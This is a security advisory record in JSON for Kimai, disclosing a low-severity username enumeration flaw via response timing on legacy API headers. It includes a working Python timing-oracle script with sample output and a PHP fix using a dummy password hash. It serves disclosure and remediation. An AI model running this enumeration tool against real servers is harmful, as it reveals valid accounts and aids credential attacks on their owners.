{"id":"GHSA-jrc6-fmhw-fpq2","summary":"Kimai: Username enumeration via timing on X-AUTH-USER","details":"## Details\n\n`src/API/Authentication/TokenAuthenticator.php` calls `loadUserByIdentifier()` first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases (`{\"message\":\"Invalid credentials\"}`, HTTP 403), so the leak is purely timing.\n\nThe `/api/*` firewall has no `login_throttling` configured, so the probe is unbounded.\n\nThe legacy `X-AUTH-USER` / `X-AUTH-TOKEN` headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required.\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"Kimai username enumeration via X-AUTH-USER timing oracle.\"\"\"\n\nimport argparse\nimport ssl\nimport statistics\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\nPROBE_PATH = \"/api/users/me\"\nBASELINE_USER = \"baseline_no_such_user_zzz\"\nDUMMY_TOKEN = \"x\" * 32\n\n\ndef probe(url, user, ctx):\n    req = urllib.request.Request(\n        url + PROBE_PATH,\n        headers={\"X-AUTH-USER\": user, \"X-AUTH-TOKEN\": DUMMY_TOKEN},\n    )\n    t0 = time.perf_counter()\n    try:\n        urllib.request.urlopen(req, context=ctx, timeout=10).read()\n    except urllib.error.HTTPError as e:\n        e.read()\n    return (time.perf_counter() - t0) * 1000.0\n\n\ndef median_ms(url, user, samples, ctx):\n    return statistics.median(probe(url, user, ctx) for _ in range(samples))\n\n\ndef load_candidates(path):\n    with open(path) as f:\n        return [ln.strip() for ln in f if ln.strip() and not ln.startswith(\"#\")]\n\n\ndef main():\n    ap = argparse.ArgumentParser(description=__doc__.strip())\n    ap.add_argument(\"-u\", \"--url\", required=True,\n                    help=\"base URL, e.g. https://kimai.example\")\n    ap.add_argument(\"-l\", \"--list\", required=True, metavar=\"FILE\",\n                    help=\"one candidate username per line\")\n    ap.add_argument(\"-t\", \"--threshold\", type=float, default=15.0, metavar=\"MS\",\n                    help=\"median delta over baseline that flags a real user\")\n    ap.add_argument(\"-n\", \"--samples\", type=int, default=15)\n    ap.add_argument(\"--verify-tls\", action=\"store_true\")\n    args = ap.parse_args()\n\n    url = args.url.rstrip(\"/\")\n    ctx = None if args.verify_tls else ssl._create_unverified_context()\n    candidates = load_candidates(args.list)\n\n    baseline = median_ms(url, BASELINE_USER, args.samples, ctx)\n    print(f\"baseline: {baseline:.1f} ms\", file=sys.stderr)\n\n    width = max(len(u) for u in candidates)\n    print(f\"{'username':\u003c{width}}  {'median':\u003e8}  {'delta':\u003e8}  verdict\")\n    print(\"-\" * (width + 30))\n    for user in candidates:\n        m = median_ms(url, user, args.samples, ctx)\n        delta = m - baseline\n        verdict = \"REAL\" if delta \u003e args.threshold else \"-\"\n        print(f\"{user:\u003c{width}}  {m:\u003e6.1f}ms  {delta:\u003e+6.1f}ms  {verdict}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nUsage:\n\n```\n$ ./timing_oracle.py -u https://target -l users.txt -n 15\n[*] calibrating baseline with 15 samples\n[*] baseline median: 37.7 ms\n[*] probing 13 candidates (n=15, threshold=15.0 ms)\n\nusername                        median     delta  verdict\n----------------------------------------------------------\nuser1@example.com               64.2ms   +26.5ms  REAL\nuser2@example.com               72.4ms   +34.7ms  REAL\nuser3@example.com               70.0ms   +32.3ms  REAL\ntester.nonexistent@example.com  37.2ms    -0.5ms  -\nadmin                           63.6ms   +25.9ms  REAL\nadministrator                   38.2ms    +0.4ms  -\nroot                            37.3ms    -0.4ms  -\ntest                            33.6ms    -4.1ms  -\ndemo                            38.2ms    +0.5ms  -\nkimai                           37.0ms    -0.7ms  -\nnonexistent_user_aaa            38.1ms    +0.4ms  -\nnonexistent_user_bbb            37.5ms    -0.2ms  -\nnonexistent_user_ccc            38.4ms    +0.7ms  -\n```\n\nIn this run, four real accounts were identified out of thirteen candidates with no false positives or false negatives. Probing took roughly five seconds per username at fifteen samples each.\n\n## Fix\n\nIn `TokenAuthenticator::authenticate()`, run the password hasher against a fixed dummy hash when the user is not found, so the response time does not depend on user existence:\n\n```php\nprivate const DUMMY_HASH = '$argon2id$v=19$m=65536,t=4,p=1$ZHVtbXlzYWx0ZHVtbXk$YQ4N4lU0Sg9hRT2KhRGwLp7y4VZqkM5KQ8wYJ5HtoX0';\n\ntry {\n    $user = $this-\u003euserProvider-\u003eloadUserByIdentifier($credentials['username']);\n} catch (UserNotFoundException $e) {\n    $this-\u003epasswordHasherFactory\n        -\u003egetPasswordHasher(User::class)\n        -\u003everify(self::DUMMY_HASH, $credentials['password']);\n    throw $e;\n}\n```\n\nThe dummy hash must use the same algorithm and parameters as real user hashes so that `verify()` consumes equivalent CPU. Generate it once with `password_hash('dummy', PASSWORD_ARGON2ID)` and pin it as a constant.\n\n## Relevance\n\nThe practical security impact is very limited. The response body and HTTP status are identical, and the only observable difference is a relatively small timing gap, which is even less relevant when the requests is executed against a network instead of a local installation. In addition, [this authentication method has already been deprecated since April 2024 and is scheduled for removal after Q2 2026](https://www.kimai.org/en/blog/2026/removing-api-passwords), so the issue only affects a legacy mechanism that is already being phased out. ￼","aliases":["CVE-2026-80199"],"modified":"2026-08-27T04:10:44.582669036Z","published":"2026-04-17T22:30:59Z","database_specific":{"github_reviewed_at":"2026-04-17T22:30:59Z","nvd_published_at":null,"cwe_ids":["CWE-208"],"severity":"LOW","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/kimai/kimai/security/advisories/GHSA-jrc6-fmhw-fpq2"},{"type":"PACKAGE","url":"https://github.com/kimai/kimai"}],"affected":[{"package":{"name":"kimai/kimai","ecosystem":"Packagist","purl":"pkg:composer/kimai/kimai"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.54.0"}]}],"versions":["0.1","0.2","0.3","0.4","0.5","0.6","0.6.1","0.7","0.8","0.8.1","0.9","1.0","1.0.1","1.1","1.10","1.10.1","1.10.2","1.11","1.11.1","1.12","1.13","1.14","1.14.1","1.14.2","1.14.3","1.15","1.15.1","1.15.2","1.15.3","1.15.4","1.15.5","1.15.6","1.16","1.16.1","1.16.10","1.16.2","1.16.3","1.16.4","1.16.5","1.16.6","1.16.7","1.16.8","1.16.9","1.17","1.17.1","1.18","1.18.1","1.18.2","1.19","1.19.1","1.19.2","1.19.3","1.19.4","1.19.5","1.19.6","1.19.7","1.2","1.20","1.20.1","1.20.2","1.20.3","1.20.4","1.21.0","1.22.0","1.22.1","1.23.0","1.23.1","1.24.0","1.25.0","1.26.0","1.27.0","1.28.0","1.28.1","1.29.0","1.29.1","1.3","1.30.0","1.30.1","1.30.10","1.30.11","1.30.2","1.30.3","1.30.4","1.30.5","1.30.6","1.30.7","1.30.8","1.30.9","1.4","1.4.1","1.4.2","1.5","1.6","1.6.1","1.6.2","1.7","1.8","1.9","2.0.0","2.0.0-alpha","2.0.0-beta","2.0.0-beta-2","2.0.0-beta-3","2.0.0-rc-1","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.21","2.0.22","2.0.23","2.0.24","2.0.25","2.0.26","2.0.27","2.0.28","2.0.29","2.0.3","2.0.30","2.0.31","2.0.32","2.0.33","2.0.34","2.0.35","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.1.0","2.10.0","2.11.0","2.12.0","2.13.0","2.14.0","2.15.0","2.16.0","2.16.1","2.17.0","2.18.0","2.19.0","2.19.1","2.2.0","2.2.1","2.20.0","2.20.1","2.21.0","2.22.0","2.23.0","2.24.0","2.25.0","2.26.0","2.27.0","2.28.0","2.29.0","2.3.0","2.30.0","2.31.0","2.32.0","2.33.0","2.34.0","2.35.0","2.35.1","2.36.0","2.36.1","2.37.0","2.38.0","2.39.0","2.4.0","2.4.1","2.40.0","2.41.0","2.42.0","2.43.0","2.44.0","2.45.0","2.46.0","2.47.0","2.48.0","2.49.0","2.5.0","2.50.0","2.51.0","2.52.0","2.53.0","2.6.0","2.7.0","2.8.0","2.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-jrc6-fmhw-fpq2/GHSA-jrc6-fmhw-fpq2.json","last_known_affected_version_range":"\u003c= 2.53.0"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"}]}